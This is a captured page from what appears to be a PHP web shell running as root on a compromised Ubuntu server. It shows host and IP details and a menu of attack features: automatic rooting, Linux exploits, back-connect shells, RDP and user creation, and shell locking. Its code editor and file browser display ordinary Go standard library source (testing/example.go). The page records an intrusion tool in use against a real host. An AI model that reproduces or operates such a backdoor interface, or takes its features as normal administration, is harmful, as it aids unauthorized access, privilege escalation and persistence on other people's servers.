Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
testing /
[ HOME SHELL ]
Name
Size
Permission
Action
internal
[ DIR ]
drwxr-xr-x
iotest
[ DIR ]
drwxr-xr-x
quick
[ DIR ]
drwxr-xr-x
allocs.go
1.36
KB
-rw-r--r--
allocs_test.go
825
B
-rw-r--r--
benchmark.go
22.34
KB
-rw-r--r--
benchmark_test.go
3.94
KB
-rw-r--r--
cover.go
3.26
KB
-rw-r--r--
example.go
2.5
KB
-rw-r--r--
export_test.go
207
B
-rw-r--r--
helper_test.go
1.63
KB
-rw-r--r--
helperfuncs_test.go
1.34
KB
-rw-r--r--
match.go
3.51
KB
-rw-r--r--
match_test.go
5.11
KB
-rw-r--r--
panic_test.go
6.04
KB
-rw-r--r--
run_example.go
1.21
KB
-rw-r--r--
run_example_js.go
1.68
KB
-rw-r--r--
sub_test.go
21.82
KB
-rw-r--r--
testing.go
47.33
KB
-rw-r--r--
testing_test.go
448
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : example.go
// Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package testing import ( "fmt" "os" "sort" "strings" "time" ) type InternalExample struct { Name string F func() Output string Unordered bool } // RunExamples is an internal function but exported because it is cross-package; // it is part of the implementation of the "go test" command. func RunExamples(matchString func(pat, str string) (bool, error), examples []InternalExample) (ok bool) { _, ok = runExamples(matchString, examples) return ok } func runExamples(matchString func(pat, str string) (bool, error), examples []InternalExample) (ran, ok bool) { ok = true var eg InternalExample for _, eg = range examples { matched, err := matchString(*match, eg.Name) if err != nil { fmt.Fprintf(os.Stderr, "testing: invalid regexp for -test.run: %s\n", err) os.Exit(1) } if !matched { continue } ran = true if !runExample(eg) { ok = false } } return ran, ok } func sortLines(output string) string { lines := strings.Split(output, "\n") sort.Strings(lines) return strings.Join(lines, "\n") } // processRunResult computes a summary and status of the result of running an example test. // stdout is the captured output from stdout of the test. // recovered is the result of invoking recover after running the test, in case it panicked. // // If stdout doesn't match the expected output or if recovered is non-nil, it'll print the cause of failure to stdout. // If the test is chatty/verbose, it'll print a success message to stdout. // If recovered is non-nil, it'll panic with that value. func (eg *InternalExample) processRunResult(stdout string, timeSpent time.Duration, recovered interface{}) (passed bool) { passed = true dstr := fmtDuration(timeSpent) var fail string got := strings.TrimSpace(stdout) want := strings.TrimSpace(eg.Output) if eg.Unordered { if sortLines(got) != sortLines(want) && recovered == nil { fail = fmt.Sprintf("got:\n%s\nwant (unordered):\n%s\n", stdout, eg.Output) } } else { if got != want && recovered == nil { fail = fmt.Sprintf("got:\n%s\nwant:\n%s\n", got, want) } } if fail != "" || recovered != nil { fmt.Printf("--- FAIL: %s (%s)\n%s", eg.Name, dstr, fail) passed = false } else if *chatty { fmt.Printf("--- PASS: %s (%s)\n", eg.Name, dstr) } if recovered != nil { // Propagate the previously recovered result, by panicking. panic(recovered) } return }
Close